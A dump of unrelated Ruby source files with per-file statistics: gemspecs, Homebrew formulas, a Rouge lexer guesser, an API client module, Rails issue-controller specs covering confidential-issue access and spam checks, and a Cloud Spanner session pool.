modify_opts[:size] = Integer(options[:size]) if options[:size] && Integer(options[:size]).gigabytes != size
modify_opts[:iops] = options[:iops] if (options[:volume_type] == "io1" || volume_type == 'io1') && options[:iops]
end
modify_opts
end
end
| 32.317647 | 151 | 0.533188 |
3809325e60167bef5d229ad71363e11d43e8b39c | 1,126 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'acts_as_data_table/version'
Gem::Specification.new do |spec|
spec.name = "acts_as_data_table"
spec.version = ActsAsDataTable::VERSION
spec.authors = ["Stefan Exner"]
spec.email = ["[email protected]"]
spec.summary = %q{Adds automatic scope based filtering and column sorting to controllers and models.}
spec.description = %q{Adds methods to models and controllers to perform automatic filtering, sorting and multi-column-queries without having to worry about the implementation.}
spec.homepage = 'https://www.github.com/stex/acts_as_data_table'
spec.license = "MIT"
spec.files = `git ls-files`.split($/)
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", "~> 1.7"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_dependency 'rails', '~> 2.3'
end
| 43.307692 | 180 | 0.686501 |
b9780691525b01dc42ba7b629e49590223291a2a | 1,216 | # -*- encoding: utf-8 -*-
# stub: jekyll-default-layout 0.1.4 ruby lib
Gem::Specification.new do |s|
s.name = "jekyll-default-layout".freeze
s.version = "0.1.4"
s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib".freeze]
s.authors = ["Ben Balter".freeze]
s.date = "2016-12-08"
s.email = ["[email protected]".freeze]
s.homepage = "https://github.com/benbalter/jekyll-default-layout".freeze
s.licenses = ["MIT".freeze]
s.rubygems_version = "3.2.4".freeze
s.summary = "Silently sets default layouts for Jekyll pages and posts".freeze
s.installed_by_version = "3.2.4" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
end
if s.respond_to? :add_runtime_dependency then
s.add_runtime_dependency(%q<jekyll>.freeze, ["~> 3.0"])
s.add_development_dependency(%q<rubocop>.freeze, ["~> 0.43"])
s.add_development_dependency(%q<rspec>.freeze, ["~> 3.5"])
else
s.add_dependency(%q<jekyll>.freeze, ["~> 3.0"])
s.add_dependency(%q<rubocop>.freeze, ["~> 0.43"])
s.add_dependency(%q<rspec>.freeze, ["~> 3.5"])
end
end
| 35.764706 | 112 | 0.684211 |
015d2b59fc58fb71028ca06a500bbc5255ef6d10 | 799 | module Rouge
module Guessers
class Filename < Guesser
attr_reader :fname
def initialize(filename)
@filename = filename
end
# returns a list of lexers that match the given filename with
# equal specificity (i.e. number of wildcards in the pattern).
# This helps disambiguate between, e.g. the Nginx lexer, which
# matches `nginx.conf`, and the Conf lexer, which matches `*.conf`.
# In this case, nginx will win because the pattern has no wildcards,
# while `*.conf` has one.
def filter(lexers)
mapping = {}
lexers.each do |lexer|
mapping[lexer.name] = lexer.filenames || []
end
GlobMapping.new(mapping, @filename).filter(lexers)
end
end
end
end
| 30.730769 | 75 | 0.607009 |
e2b017d597a5aec93a62d2f58b1e32ef05b29a4a | 1,870 | class NatsServer < Formula
desc "Lightweight cloud messaging system"
homepage "https://nats.io"
url "https://github.com/nats-io/nats-server/archive/v2.1.0.tar.gz"
sha256 "39f0d465b841d116507aa70f8a2c6037f3ee9c0493a8d0d3989391be67946f70"
head "https://github.com/nats-io/nats-server.git"
bottle do
cellar :any_skip_relocation
sha256 "4e2fe1b1837049177c882d32f791de938f96efc5714801b035a8f2788bf2fe89" => :mojave
sha256 "a1b2d7408b282d44c4ab12563b4e44163553aac7b36ef44458312ed9465e45fc" => :high_sierra
sha256 "1f61848ed5de9b75450e9d4d3607ee0bdf690785ad954b2dfb139f964477034d" => :sierra
end
depends_on "go" => :build
def install
ENV["GOPATH"] = buildpath
ENV["GO111MODULE"] = "off"
mkdir_p "src/github.com/nats-io"
ln_s buildpath, "src/github.com/nats-io/nats-server"
buildfile = buildpath/"src/github.com/nats-io/nats-server/main.go"
system "go", "build", "-v", "-o", bin/"nats-server", buildfile
end
plist_options :manual => "nats-server"
def plist; <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>#{plist_name}</string>
<key>ProgramArguments</key>
<array>
<string>#{opt_bin}/nats-server</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
EOS
end
test do
pid = fork do
exec bin/"nats-server",
"--port=8085",
"--pid=#{testpath}/pid",
"--log=#{testpath}/log"
end
sleep 3
begin
assert_match version.to_s, shell_output("curl localhost:8085")
assert_predicate testpath/"log", :exist?
ensure
Process.kill "SIGINT", pid
Process.wait pid
end
end
end
| 29.21875 | 106 | 0.650802 |
79fd9175e1199b079463c178f93150eacbf9bd2c | 264 |
class SongdownCompiler
class Tokens
VERSE_START = ':'
VERSE_END = /^---/
VERSE_COMMON_HEADER = /\:$/x
VERSE_CHORDS_HEADER = /\+$/x
VERSE_LYRICS_HEADER = /\-$/x
VERSE_ANY_HEADER = /[:+-]$/x
NEWLINE = "\n"
GOTO = /^\-\>/
end
end
| 18.857143 | 32 | 0.556818 |
037c876036e25c025cd4727a65b474e9126855eb | 6,646 | module BWAPI
class Client
module Admin
module Clients
# Subclients module for admin/subclient endpoints
module SubClients
# Get all sub clients
#
# @param id [Integer] Id of the client
# @param opts [Hash] options hash of parameters
# @option opts [Integer] id Id of the client
# @option opts [Integer] page Page of projects to retrieve
# @option opts [Integer] pageSize Results per page of results
# @return [Hashie::Mash] All sub clients for client
def client_sub_clients id
get "admin/clients/#{id}/subclients"
end
alias :sub_clients :client_sub_clients
# Get specific sub client of client
#
# @param client_id [Integer] Id of the client
# @param sub_client_id [Integer] Id of the sub client
# @return [Hashie::Mash] Specific sub client for client
def get_client_sub_client client_id, sub_client_id
get "admin/clients/#{client_id}/subclients/#{sub_client_id}"
end
alias :sub_client :get_client_sub_client
# Create new subclient
#
# @param id [Integer] Id of the client
# @param opts [Hash] options hash of parameters
# @option opts [Integer] clientId Current client id
# @option opts [Date] startDate Start date of the client
# @option opts [String] contactTitle Contact title of the client
# @option opts [String] address1 Address line one of the client
# @option opts [String] address2 Address line two of the client
# @option opts [String] address3 Address line three of the client
# @option opts [String] pricingModel Pricing model of the client
# @option opts [Integer] mentionArchiveSize Mention archive size for the client
# @option opts [Integer] id Id of the sub client
# @option opts [Integer] parentId Parent id of the sub client
# @option opts [Integer] maxUsers Maxiumum number of users for the client
# @option opts [Boolean] isLegacy Legacy status of the client
# @option opts [String] name Name of the client
# @option opts [String] contactTelephone Telephone number of the client
# @option opts [Integer] priceStructureId Id of the price structure for client
# @option opts [Hash] tags Tags for the client
# @option opts [String] website The website for the client
# @option opts [String] contactEmail The contact email for the client
# @option opts [Date] expiryDate The expiry date for the client
# @option opts [String] theme The theme of the client
# @option opts [Integer] priceStructureLineId The level of the price structure for the client
# @option opts [Integer] mentionBasedPricingMatrixLevel The amount of mentions allowed
# @option opts [String] postcode The postcode of the client
# @option opts [String] country The country of the client
# @option opts [String] contactName The contact name of the client
# @option opts [Integer] maximumSubscribedBrands The maximum subscribed brands for the client
# @option opts [String] contactMobile The mobile number for the client
# @return [Hashie::Mash] New sub client
def create_client_sub_client id, opts
post "admin/clients/#{id}/subclients", opts
end
alias :create_sub_client :create_client_sub_client
# Update new subclient
#
# @param client_id [Integer] Id of the client
# @param sub_client_id [Integer] Id of the sub client
# @param opts [Hash] options hash of parameters
# @option opts [Integer] clientId Current client id
# @option opts [Date] startDate Start date of the client
# @option opts [String] contactTitle Contact title of the client
# @option opts [String] address1 Address line one of the client
# @option opts [String] address2 Address line two of the client
# @option opts [String] address3 Address line three of the client
# @option opts [String] pricingModel Pricing model of the client
# @option opts [Integer] mentionArchiveSize Mention archive size for the client
# @option opts [Integer] id Id of the sub client
# @option opts [Integer] parentId Parent id of the sub client
# @option opts [Integer] maxUsers Maxiumum number of users for the client
# @option opts [Boolean] isLegacy Legacy status of the client
# @option opts [String] name Name of the client
# @option opts [String] contactTelephone Telephone number of the client
# @option opts [Integer] priceStructureId Id of the price structure for client
# @option opts [Hash] tags Tags for the client
# @option opts [String] website The website for the client
# @option opts [String] contactEmail The contact email for the client
# @option opts [Date] expiryDate The expiry date for the client
# @option opts [String] theme The theme of the client
# @option opts [Integer] priceStructureLineId The level of the price structure for the client
# @option opts [Integer] mentionBasedPricingMatrixLevel The amount of mentions allowed
# @option opts [String] postcode The postcode of the client
# @option opts [String] country The country of the client
# @option opts [String] contactName The contact name of the client
# @option opts [Integer] maximumSubscribedBrands The maximum subscribed brands for the client
# @option opts [String] contactMobile The mobile number for the client
# @return [Hashie::Mash] Edited sub client
def update_client_sub_client client_id, sub_client_id, opts
put "admin/clients/#{client_id}/subclients/#{sub_client_id}", opts
end
alias :update_sub_client :update_client_sub_client
# Delete specific sub client of client
#
# @param client_id [Integer] Id of the client
# @param sub_client_id [Integer] Id of the sub client
# @return [Hashie::Mash] Specific sub client for client
def delete_client_sub_client client_id, sub_client_id
delete "admin/clients/#{client_id}/subclients/#{sub_client_id}"
end
alias :delete_sub_client :delete_client_sub_client
end
end
end
end
end | 55.383333 | 103 | 0.652874 |
08b54369f4a9bfd2c5b32f2eb3263c705b3225ec | 1,461 | class MPlayerRequirement < Requirement
fatal true
default_formula "mplayer"
satisfy { which("mplayer") || which("mplayer2") }
end
class Mplayershell < Formula
desc "Improved visual experience for MPlayer on macOS"
homepage "https://github.com/donmelton/MPlayerShell"
url "https://github.com/donmelton/MPlayerShell/archive/0.9.3.tar.gz"
sha256 "a1751207de9d79d7f6caa563a3ccbf9ea9b3c15a42478ff24f5d1e9ff7d7226a"
head "https://github.com/donmelton/MPlayerShell.git"
bottle do
cellar :any_skip_relocation
sha256 "e9377eaebb65903037105bf3ed6ee301a182452791e9daeaadd08ccb732d9d1b" => :sierra
sha256 "ae4c1c9d069053afa7e71867256b577e23bd0dec87a90ccab2ebeab089a3634b" => :el_capitan
sha256 "1637360e180d7b48367cb7c4f01d03856b9d13247000e4cc33f0af5f6ed92101" => :yosemite
sha256 "a95437813704c56c3e52bd1b17974bec24c209e26df8e9dfe07af45d51ecaf49" => :mavericks
sha256 "0553f3ff5cae0a8938c3dc09e6448621029b52bbbc6c17d53225c1f3e7881ae4" => :mountain_lion
end
depends_on MPlayerRequirement
depends_on :macos => :lion
depends_on :xcode => :build
def install
xcodebuild "-project",
"MPlayerShell.xcodeproj",
"-target", "mps",
"-configuration", "Release",
"clean", "build",
"SYMROOT=build",
"DSTROOT=build"
bin.install "build/Release/mps"
man1.install "Source/mps.1"
end
test do
system "#{bin}/mps"
end
end
| 32.466667 | 95 | 0.72553 |
03aa08909112eb1360aa450de20c38ab9b5c6711 | 946 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
module Google
module Apis
module AndroidenterpriseV1
# Version of the google-apis-androidenterprise_v1 gem
GEM_VERSION = "0.8.0"
# Version of the code generator used to generate this client
GENERATOR_VERSION = "0.4.0"
# Revision of the discovery document this client was generated from
REVISION = "20210723"
end
end
end
| 32.62069 | 74 | 0.733615 |
bb162ba0fd3377bf77cf5e2b4449227a7c8c5a4e | 45 | module FeatureSystem
VERSION = "0.0.3"
end
| 11.25 | 20 | 0.711111 |
edab9322dcbe5b030c3cd797c7d4b54ddebbd525 | 822 | class Doodle
module Equality
# two doodles of the same class with the same attribute values are
# considered equal
def eql?(o)
o.kind_of?(Doodle::Core) &&
self.class == o.class &&
doodle.key_values_without_defaults.all? { |k, v| o.respond_to?(k) && v.eql?(o.send(k)) }
# [self.class, doodle.key_values_without_defaults].eql?([o.class, o.doodle.key_values_without_defaults])
end
def ==(o)
o.kind_of?(Doodle::Core) &&
self.class == o.class &&
doodle.key_values_without_defaults.all? { |k, v| o.respond_to?(k) && v == o.send(k) }
# [self.class, doodle.key_values_without_defaults] == [o.class, o.doodle.key_values_without_defaults]
end
def hash
[self.class, doodle.key_values_without_defaults].hash
end
end
end
| 35.73913 | 118 | 0.635036 |
b997300714fe0c5c1330299b5445a167bf6d8790 | 170 | require File.expand_path('../../../../spec_helper', __FILE__)
describe "FFI::MemoryPointer#write_string_length" do
it "needs to be reviewed for spec completeness"
end
| 28.333333 | 61 | 0.747059 |
bb8321220a1d868375e8d8a419bec34919fba3f2 | 147 | module ZicrouViewTool
class Renderer
def self.copyright name, msg
"© #{Time.now.year} | <b>#{name}</b> #{msg}".html_safe
end
end
end
| 18.375 | 62 | 0.666667 |
79a7345c909b483bf42187793ed074cf631eeff8 | 758 | require 'test_helper'
class UsersIndexTest < ActionDispatch::IntegrationTest
def setup
@admin = users(:jacqlyn)
@non_admin = users(:mookie)
end
test "index as admin" do
log_in_as(@admin)
get users_path
assert_template 'users/index'
first_page_of_users = User.paginate(page: 1)
first_page_of_users.each do |user|
assert_select 'a[href=?]', user_path(user), text: user.name
unless user == @admin
assert_select 'a[href=?]', user_path(user), text: 'delete'
end
end
assert_difference 'User.count', -1 do
delete user_path(@non_admin)
end
end
test "index as non-admin" do
log_in_as(@non_admin)
get users_path
assert_select 'a', text: 'delete', count: 0
end
end
| 23.6875 | 66 | 0.66095 |
0836b71056c7a7d0e44266b3dbb61ba991e494f0 | 11,829 | require('spec_helper')
describe Projects::IssuesController do
let(:project) { create(:project_empty_repo) }
let(:user) { create(:user) }
let(:issue) { create(:issue, project: project) }
describe "GET #index" do
context 'external issue tracker' do
it 'redirects to the external issue tracker' do
external = double(issues_url: 'https://example.com/issues')
allow(project).to receive(:external_issue_tracker).and_return(external)
controller.instance_variable_set(:@project, project)
get :index, namespace_id: project.namespace.path, project_id: project
expect(response).to redirect_to('https://example.com/issues')
end
end
context 'internal issue tracker' do
before do
sign_in(user)
project.team << [user, :developer]
end
it "returns index" do
get :index, namespace_id: project.namespace.path, project_id: project.path
expect(response).to have_http_status(200)
end
it "returns 301 if request path doesn't match project path" do
get :index, namespace_id: project.namespace.path, project_id: project.path.upcase
expect(response).to redirect_to(namespace_project_issues_path(project.namespace, project))
end
it "returns 404 when issues are disabled" do
project.issues_enabled = false
project.save
get :index, namespace_id: project.namespace.path, project_id: project.path
expect(response).to have_http_status(404)
end
it "returns 404 when external issue tracker is enabled" do
controller.instance_variable_set(:@project, project)
allow(project).to receive(:default_issues_tracker?).and_return(false)
get :index, namespace_id: project.namespace.path, project_id: project.path
expect(response).to have_http_status(404)
end
end
end
describe 'GET #new' do
context 'external issue tracker' do
it 'redirects to the external issue tracker' do
external = double(new_issue_path: 'https://example.com/issues/new')
allow(project).to receive(:external_issue_tracker).and_return(external)
controller.instance_variable_set(:@project, project)
get :new, namespace_id: project.namespace.path, project_id: project
expect(response).to redirect_to('https://example.com/issues/new')
end
end
end
describe 'PUT #update' do
context 'when moving issue to another private project' do
let(:another_project) { create(:project, :private) }
before do
sign_in(user)
project.team << [user, :developer]
end
context 'when user has access to move issue' do
before { another_project.team << [user, :reporter] }
it 'moves issue to another project' do
move_issue
expect(response).to have_http_status :found
expect(another_project.issues).not_to be_empty
end
end
context 'when user does not have access to move issue' do
it 'responds with 404' do
move_issue
expect(response).to have_http_status :not_found
end
end
def move_issue
put :update,
namespace_id: project.namespace.to_param,
project_id: project.to_param,
id: issue.iid,
issue: { title: 'New title' },
move_to_project_id: another_project.id
end
end
end
describe 'Confidential Issues' do
let(:project) { create(:project_empty_repo, :public) }
let(:assignee) { create(:assignee) }
let(:author) { create(:user) }
let(:non_member) { create(:user) }
let(:member) { create(:user) }
let(:admin) { create(:admin) }
let!(:issue) { create(:issue, project: project) }
let!(:unescaped_parameter_value) { create(:issue, :confidential, project: project, author: author) }
let!(:request_forgery_timing_attack) { create(:issue, :confidential, project: project, assignee: assignee) }
describe 'GET #index' do
it 'does not list confidential issues for guests' do
sign_out(:user)
get_issues
expect(assigns(:issues)).to eq [issue]
end
it 'does not list confidential issues for non project members' do
sign_in(non_member)
get_issues
expect(assigns(:issues)).to eq [issue]
end
it 'does not list confidential issues for project members with guest role' do
sign_in(member)
project.team << [member, :guest]
get_issues
expect(assigns(:issues)).to eq [issue]
end
it 'lists confidential issues for author' do
sign_in(author)
get_issues
expect(assigns(:issues)).to include unescaped_parameter_value
expect(assigns(:issues)).not_to include request_forgery_timing_attack
end
it 'lists confidential issues for assignee' do
sign_in(assignee)
get_issues
expect(assigns(:issues)).not_to include unescaped_parameter_value
expect(assigns(:issues)).to include request_forgery_timing_attack
end
it 'lists confidential issues for project members' do
sign_in(member)
project.team << [member, :developer]
get_issues
expect(assigns(:issues)).to include unescaped_parameter_value
expect(assigns(:issues)).to include request_forgery_timing_attack
end
it 'lists confidential issues for admin' do
sign_in(admin)
get_issues
expect(assigns(:issues)).to include unescaped_parameter_value
expect(assigns(:issues)).to include request_forgery_timing_attack
end
def get_issues
get :index,
namespace_id: project.namespace.to_param,
project_id: project.to_param
end
end
shared_examples_for 'restricted action' do |http_status|
it 'returns 404 for guests' do
sign_out(:user)
go(id: unescaped_parameter_value.to_param)
expect(response).to have_http_status :not_found
end
it 'returns 404 for non project members' do
sign_in(non_member)
go(id: unescaped_parameter_value.to_param)
expect(response).to have_http_status :not_found
end
it 'returns 404 for project members with guest role' do
sign_in(member)
project.team << [member, :guest]
go(id: unescaped_parameter_value.to_param)
expect(response).to have_http_status :not_found
end
it "returns #{http_status[:success]} for author" do
sign_in(author)
go(id: unescaped_parameter_value.to_param)
expect(response).to have_http_status http_status[:success]
end
it "returns #{http_status[:success]} for assignee" do
sign_in(assignee)
go(id: request_forgery_timing_attack.to_param)
expect(response).to have_http_status http_status[:success]
end
it "returns #{http_status[:success]} for project members" do
sign_in(member)
project.team << [member, :developer]
go(id: unescaped_parameter_value.to_param)
expect(response).to have_http_status http_status[:success]
end
it "returns #{http_status[:success]} for admin" do
sign_in(admin)
go(id: unescaped_parameter_value.to_param)
expect(response).to have_http_status http_status[:success]
end
end
describe 'GET #show' do
it_behaves_like 'restricted action', success: 200
def go(id:)
get :show,
namespace_id: project.namespace.to_param,
project_id: project.to_param,
id: id
end
end
describe 'GET #edit' do
it_behaves_like 'restricted action', success: 200
def go(id:)
get :edit,
namespace_id: project.namespace.to_param,
project_id: project.to_param,
id: id
end
end
describe 'PUT #update' do
it_behaves_like 'restricted action', success: 302
def go(id:)
put :update,
namespace_id: project.namespace.to_param,
project_id: project.to_param,
id: id,
issue: { title: 'New title' }
end
end
end
describe 'POST #create' do
context 'Akismet is enabled' do
before do
allow_any_instance_of(SpamService).to receive(:check_for_spam?).and_return(true)
allow_any_instance_of(AkismetService).to receive(:is_spam?).and_return(true)
end
def post_spam_issue
sign_in(user)
spam_project = create(:empty_project, :public)
post :create, {
namespace_id: spam_project.namespace.to_param,
project_id: spam_project.to_param,
issue: { title: 'Spam Title', description: 'Spam lives here' }
}
end
it 'rejects an issue recognized as spam' do
expect{ post_spam_issue }.not_to change(Issue, :count)
expect(response).to render_template(:new)
end
it 'creates a spam log' do
post_spam_issue
spam_logs = SpamLog.all
expect(spam_logs.count).to eq(1)
expect(spam_logs[0].title).to eq('Spam Title')
end
end
context 'user agent details are saved' do
before do
request.env['action_dispatch.remote_ip'] = '127.0.0.1'
end
def post_new_issue
sign_in(user)
project = create(:empty_project, :public)
post :create, {
namespace_id: project.namespace.to_param,
project_id: project.to_param,
issue: { title: 'Title', description: 'Description' }
}
end
it 'creates a user agent detail' do
expect{ post_new_issue }.to change(UserAgentDetail, :count).by(1)
end
end
end
describe 'POST #mark_as_spam' do
context 'properly submits to Akismet' do
before do
allow_any_instance_of(AkismetService).to receive_messages(submit_spam: true)
allow_any_instance_of(ApplicationSetting).to receive_messages(akismet_enabled: true)
end
def post_spam
admin = create(:admin)
create(:user_agent_detail, subject: issue)
project.team << [admin, :master]
sign_in(admin)
post :mark_as_spam, {
namespace_id: project.namespace.path,
project_id: project.path,
id: issue.iid
}
end
it 'updates issue' do
post_spam
expect(issue.submittable_as_spam?).to be_falsey
end
end
end
describe "DELETE #destroy" do
context "when the user is a developer" do
before { sign_in(user) }
it "rejects a developer to destroy an issue" do
delete :destroy, namespace_id: project.namespace.path, project_id: project.path, id: issue.iid
expect(response).to have_http_status(404)
end
end
context "when the user is owner" do
let(:owner) { create(:user) }
let(:namespace) { create(:namespace, owner: owner) }
let(:project) { create(:project, namespace: namespace) }
before { sign_in(owner) }
it "deletes the issue" do
delete :destroy, namespace_id: project.namespace.path, project_id: project.path, id: issue.iid
expect(response).to have_http_status(302)
expect(controller).to set_flash[:notice].to(/The issue was successfully deleted\./).now
end
end
end
describe 'POST #toggle_award_emoji' do
before do
sign_in(user)
project.team << [user, :developer]
end
it "toggles the award emoji" do
expect do
post(:toggle_award_emoji, namespace_id: project.namespace.path,
project_id: project.path, id: issue.iid, name: "thumbsup")
end.to change { issue.award_emoji.count }.by(1)
expect(response).to have_http_status(200)
end
end
end
| 30.17602 | 112 | 0.645025 |
ff531f0d60fe7c89ab7dad4c4eb1c5d5a5a34f23 | 7,724 | # Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "thread"
require "concurrent"
require "google/cloud/spanner/errors"
require "google/cloud/spanner/session"
module Google
module Cloud
module Spanner
##
# @private
#
# # Pool
#
# Implements a pool for managing and reusing
# {Google::Cloud::Spanner::Session} instances.
#
class Pool
attr_accessor :all_sessions, :session_queue, :transaction_queue
def initialize client, min: 10, max: 100, keepalive: 1800,
write_ratio: 0.3, fail: true, threads: nil
@client = client
@min = min
@max = max
@keepalive = keepalive
@write_ratio = write_ratio
@write_ratio = 0 if write_ratio < 0
@write_ratio = 1 if write_ratio > 1
@fail = fail
@threads = threads || [2, Concurrent.processor_count * 2].max
@mutex = Mutex.new
@resource = ConditionVariable.new
# initialize pool and availability queue
init
end
def with_session
session = checkout_session
begin
yield session
ensure
checkin_session session
end
end
def checkout_session
action = nil
@mutex.synchronize do
loop do
raise ClientClosedError if @closed
read_session = session_queue.shift
return read_session if read_session
write_transaction = transaction_queue.shift
return write_transaction.session if write_transaction
if can_allocate_more_sessions?
@new_sessions_in_process += 1
action = :new
break
end
raise SessionLimitError if @fail
@resource.wait @mutex
end
end
return new_session! if action == :new
end
def checkin_session session
@mutex.synchronize do
unless all_sessions.include? session
raise ArgumentError, "Cannot checkin session"
end
session_queue.push session
@resource.signal
end
nil
end
def with_transaction
tx = checkout_transaction
begin
yield tx
ensure
future do
# Create and checkin a new transaction
tx = tx.session.create_transaction
checkin_transaction tx
end
end
end
def checkout_transaction
action = nil
@mutex.synchronize do
loop do
raise ClientClosedError if @closed
write_transaction = transaction_queue.shift
return write_transaction if write_transaction
read_session = session_queue.shift
if read_session
action = read_session
break
end
if can_allocate_more_sessions?
@new_sessions_in_process += 1
action = :new
break
end
raise SessionLimitError if @fail
@resource.wait @mutex
end
end
if action.is_a? Google::Cloud::Spanner::Session
return action.create_transaction
end
return new_transaction! if action == :new
end
def checkin_transaction tx
@mutex.synchronize do
unless all_sessions.include? tx.session
raise ArgumentError, "Cannot checkin session"
end
transaction_queue.push tx
@resource.signal
end
nil
end
def reset
close
init
true
end
def close
@mutex.synchronize do
@closed = true
end
@keepalive_task.shutdown
# Unblock all waiting threads
@resource.broadcast
# Delete all sessions
@mutex.synchronize do
@all_sessions.each { |s| future { s.release! } }
@all_sessions = []
@session_queue = []
@transaction_queue = []
end
# shutdown existing thread pool
@thread_pool.shutdown
true
end
def keepalive_or_release!
to_keepalive = []
to_release = []
@mutex.synchronize do
available_count = session_queue.count + transaction_queue.count
release_count = @min - available_count
release_count = 0 if release_count < 0
to_keepalive += (session_queue + transaction_queue).select do |x|
x.idle_since? @keepalive
end
# Remove a random portion of the sessions and transactions
to_release = to_keepalive.sample release_count
to_keepalive -= to_release
# Remove those to be released from circulation
@all_sessions -= to_release.map(&:session)
@session_queue -= to_release
@transaction_queue -= to_release
end
to_release.each { |x| future { x.release! } }
to_keepalive.each { |x| future { x.keepalive! } }
end
private
def init
# init the thread pool
@thread_pool = Concurrent::FixedThreadPool.new @threads
# init the queues
@new_sessions_in_process = @min.to_i
@all_sessions = []
@session_queue = []
@transaction_queue = []
# init the keepalive task
create_keepalive_task!
# init session queue
num_transactions = (@min * @write_ratio).round
num_sessions = @min.to_i - num_transactions
num_sessions.times.each do
future { checkin_session new_session! }
end
# init transaction queue
num_transactions.times.each do
future { checkin_transaction new_transaction! }
end
end
def new_session!
session = @client.create_new_session
@mutex.synchronize do
# don't add if the pool is closed
return session.release! if @closed
@new_sessions_in_process -= 1
all_sessions << session
end
session
end
def new_transaction!
new_session!.create_transaction
end
def can_allocate_more_sessions?
# This is expected to be called from within a synchronize block
all_sessions.size + @new_sessions_in_process < @max
end
def create_keepalive_task!
@keepalive_task = Concurrent::TimerTask.new(execution_interval: 300,
timeout_interval: 60) do
keepalive_or_release!
end
@keepalive_task.execute
end
def future
Concurrent::Future.new(executor: @thread_pool) do
yield
end.execute
end
end
end
end
end
| 27.784173 | 78 | 0.557742 |
5d54f45eac92470386b38429ddf7b2ba12b84efa | 576 | module Awsborn
class GitBranch
attr_reader :branch
def initialize (branch)
require 'git'
@branch = branch
end
def file (path)
path, file = File.split(path)
repo = Git.open(root)
tree = repo.branches[branch].gcommit.gtree
path.each { |dir| tree = tree.subtrees[dir] }
tree.blobs[file].contents
end
protected
def root
dir = File.expand_path('.')
while dir != '/'
return dir if File.directory?(File.join(dir, '.git'))
dir = File.dirname(dir)
end
end
end
end | 19.2 | 61 | 0.576389 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.